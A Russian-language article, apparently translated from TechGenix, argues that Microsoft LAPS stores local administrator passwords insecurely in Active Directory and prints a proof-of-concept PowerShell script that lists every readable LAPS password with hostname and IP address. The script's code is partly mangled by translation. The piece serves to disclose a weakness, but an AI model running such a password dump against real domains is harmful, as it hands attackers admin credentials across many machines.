Дело против использования Microsoft Local Administrator Password Solution (LAPS)

Опубликовано: 1 Апреля, 2023
Дело против использования Microsoft Local Administrator Password Solution (LAPS)

Microsoft's Local Administrator Password Solution (LAPS) упрощает для администраторов безопасное управление паролями локальных учетных записей на всех компьютерах, присоединенных к домену. Но это не означает, что его безопасность не подвергается сомнению. Хотя LAPS доступен с 2015 года, в социальной сети Microsoft TechNet было много разговоров, предполагающих, что трудности с его использованием еще не устранены. Я понял это во время беседы с моим коллегой Марком Ван Ноем, который управляет инфраструктурой виртуальных рабочих столов в Колорадском университете в Боулдере, штат Колорадо. Марк пробудил во мне интерес к этой теме, когда недавно отправил мне по электронной почте следующий комментарий. Марк сказал, что «средство Microsoft LAPS, хранящее пароль в виде открытого текста вместе с записью AD компьютера, беспокоило меня уже некоторое время. Итак, я решил написать сценарий PowerShell для проверки концепции того, как это можно потенциально использовать. Мой PowerShell не использует какой-либо компонент LAPS; это прямой доступ к информации AD с использованием знаний о том, как работает LAPS». Я попросил у Марка копию его сценария и краткое описание того, как его использовать, и Марк ответил следующим, чем я делюсь здесь для наших читателей TechGenix.

Установка и настройка LAPS

LAPS от Microsoft — это инструмент, созданный для решения проблемы использования одного и того же пароля на нескольких серверах. LAPS также может существенно помочь в обеспечении большей сложности паролей, генерируя пароли длиной до 64 символов случайным образом для каждого компьютера, которым он управляет, и автоматически генерируя новые пароли по расписанию. На первый взгляд, это отличный инструмент, который предотвращает некоторые из наиболее распространенных угроз безопасности для ресурсов инфраструктуры: несложные пароли, которые используются повторно и редко меняются. Функционально инструмент действительно делает именно то, что заявлено, и его установка проста: документация Word, поставляемая с LAPS, прекрасно описывает, как установить и настроить LAPS. Установщик LAPS необходимо запустить на каждом клиентском компьютере, скорее всего, на сервере, который будет управляться. Поскольку установщик представляет собой обычный MSI, его легко распространять и выполнять автоматическую установку. По крайней мере на одном управляющем компьютере также должны быть установлены остальные инструменты. С управляющего компьютера простая команда PowerShell, входящая в состав пакета, используется для расширения схемы Active Directory. В документации также рассматриваются четыре настраиваемых объекта групповой политики, которые можно применять к управляемым компьютерам, а также способы защиты подразделений управляемых систем. Наконец, есть небольшой раздел о включении аудита доступа к паролю. Недостатком аудита является то, что идентификатор события 4662 регистрирует обновленный GUID схемы AD объекта пароля, который не читается человеком и делает аудит относительно неясным. В примере документации показано, что CONTOSOAdministrator получил доступ к {bo4b21db-0992-4551-a813-4d8e2a27ff1e}, что, вероятно, не вызовет никаких красных флажков при сканировании журналов безопасности, если не используются дополнительные инструменты, распознающие этот GUID.

Моя озабоченность по поводу LAPS

Это подводит меня к проблеме, которую я испытываю по поводу LAPS. Расширение схемы связывает локальный административный пароль компьютера непосредственно с записью компьютера в AD в виде обычного текста. Это цифровой эквивалент написания пароля на стикере и прикрепления его к монитору. Возможно, лучшей метафорой было бы размещение пароля для каждого сервера на этикетке, размещенной на каждом сервере, а затем заявление о высокой степени безопасности, поскольку центр обработки данных заблокирован. Размещение учетных данных безопасности с объектом, который они защищают, в лучшем случае сомнительно.

Я конечно не хакер. Не белая шляпа или черная шляпа; Я даже не люблю носить шляпы. Однако, когда я увидел то, что выглядело как вопиющая проблема с безопасностью, я начал думать о том, как это может быть использовано кем-то со злыми намерениями. Я написал короткий сценарий PowerShell под названием Get-LAPSPasswords.ps1 (см. список в конце этой статьи) в качестве доказательства концепции того, что, как я подозреваю, могут делать хакеры. Сценарий сначала проверяет, расширена ли схема AD для включения LAPS:

Если это так, то каждый объект-компьютер повторяется, и любая запись с читаемым паролем выводит на экран имя компьютера, пароль, IP-адрес и отличительное имя:

Я вижу, что такой сценарий используется в атаках, таких как фишинг, когда учетная запись уже была скомпрометирована. Это простой способ без особых усилий выяснить, к каким системам имеет доступ скомпрометированная учетная запись. Было бы тривиально легко расширить этот тип дампа, чтобы поместить кейлоггер или другое вредоносное программное обеспечение на любые системы, которые, как было обнаружено, усиливают атаку. Кроме того, хотя, возможно, это и не самый эффективный способ извлечения информации из AD, я измерил, что для доступа к каждой записи в домене, состоящем из более чем 25 000 компьютерных объектов, требовалось чуть меньше шестнадцати минут.
В должным образом защищенной среде с тщательно охраняемыми административными учетными записями, работающими с минимальными привилегиями, LAPS, вероятно, является отличным инструментом для защиты ресурсов. Как и все меры и методы обеспечения безопасности, все инструменты настолько сильны, насколько их самое слабое звено. Я потерял счет тому, сколько компрометаций, о которых я читал, где были скомпрометированы учетные данные администратора домена или аналогичные учетные данные. Имея это в виду, если бы LAPS просто шифровала пароли в AD, когда они неактивны, это, безусловно, помогло бы.

Список скрипта Get-LAPSPasswords.ps1

f<#.SYNOPSIS Отображает информацию обо всех компьютерах в Active Directory, на которых установлен удобочитаемый пароль LAPS..DESCRIPTION Проверяет, обновлена ли схема Active Directory для поддержки Microsoft LAPS. Если это так, он извлекает все объекты компьютеров в Active Directory и сохраняет их в переменной коллекции. Наконец, коллекция повторяется, и все компьютеры, на которых установлен и доступен для чтения пароль LAPS, будут возвращены вместе с паролем LAPS. Если для объекта-компьютера не установлен пароль LAPS или учетная запись пользователя, под которой запускается сценарий, не имеет соответствующих разрешений на чтение пароля, информация о компьютере не будет возвращена. Поскольку информация о компьютере и пароле хранится в одном месте с включенным LAPS, этот сценарий показывает всю информацию, необходимую для входа в систему в качестве администратора для всех компьютеров, к которым имеет доступ учетная запись, которая запускает сценарий и которые управляются LAPS..EXAMPLE.Get-LAPSPasswords.ps1 Сканирует Active Directory на наличие компьютеров с паролями LAPS, доступными для чтения пользователю, выполняющему сценарий..NOTES Имя файла: Get-LAPSPasswords.ps1 Автор: Марк Ван Ной Организация: Университет Колорадо в Боулдере Создано: 04.06.2020 История версий: 1.0.0 - (04.06.2020) Скрипт создан #> # На всякий случай. На тестовом компьютере не требовалось. Import-Module ActiveDirectory function Check-SchemaSupportsLAPS() { # Установите логический флаг, чтобы указать, существуют ли расширения LAPS в схеме. $schemaLAPS = $false # Проверяем, была ли обновлена схема. $schema = [directoryservices.activedirectory.activedirectoryschema]::getcurrentschema() $OptionalProperties = $schema.FindClass("computer").OptionalProperties | Выберите имя, oid $mandatoryProperties = $schema.FindClass("computer").MandatoryProperties | Select name,oid # В соответствии с документацией LAPS расширения ожидаются в дополнительных свойствах foreach ($property в $OptionalProperties) { if (($property.Name -eq "ms-Mcs-AdmPwd") -and ($property.oid -eq "1.2.840.113556.1.8000.2554.50051.45980.28112.18903.35903.6685103.1224907.2.1")) { $schemaLAPS = $true } } # На всякий случай, если со схемой произошло что-то необычное, проверьте MandatoryProperties. if (!$schemaLAPS) { foreach ($property in $mandatoryProperties) { if (($property.Name -eq "ms-Mcs-AdmPwd") -and ($property.oid -eq "1.2.840.113556.1.8000.2554.50051.45980.28112.18903.35903.6685103.1224907.2.1")) { $schemaLAPS = $true } } } # Сообщите конечному пользователю, если схема не была расширена для поддержки LAPS if (!$schemaLAPS) { Write-Host -ForegroundColor Red " Расширения схемы LAPS отсутствуют". } return $schemaLAPS } function Get-Computers() { # Необходимо указать свойства, иначе это будет слишком медленно и будет возвращаться слишком много результатов. # Если ms-Mcs-AdmPwd не существует в схеме и указан, Get-ADComputer выдаст ошибку. $all_Computers = Get-ADComputer -Filter * -Properties DNSHostName, ms-Mcs-AdmPwd, IPv4Address, IPv6Address, DistinguishedName # Получение всех компьютеров может занять много времени, поэтому сообщите конечному пользователю, что мы закончили. Write-Host -ForegroundColor Зеленый "Все объекты компьютеров домена собраны" # Перебрать ВСЕ компьютеры в активном каталоге и вернуть # LAPS-пароль для всех компьютеров, которые пользователь имеет право просматривать. foreach ($computer in $all_Computers) { # Если поле ms-Mcs-AdmPwd существует, продолжить возврат информации. if ($computer.'ms-Mcs-AdmPwd') { Write-Host -NoNewline $computer.DNSHostName, "`t" Write-Host -ForegroundColor Yellow $computer.'ms-Mcs-AdmPwd' Write-Host -NoNewline $ computer.IPv4Address, "`t" Write-Host $computer.IPv6Address Write-Host $computer.DistinguishedName, "`r`n`r`n[------------]`r`n " } } } # LAPS также использует ms-Mcs-AdmPwdExpirationTime, который может быть полезен # злоумышленникам, чтобы узнать, как скоро будут заменены собранные ими пароли. # ТАК добавьте ms-Mcs-AdmPwdExpirationTime в список свойств и выведите, если # для вас важно знать чередование паролей. # Если схема была расширена для поддержки LAPS, начните поиск компьютеров. if (Check-SchemaSupportsLAPS) { Get-Computers }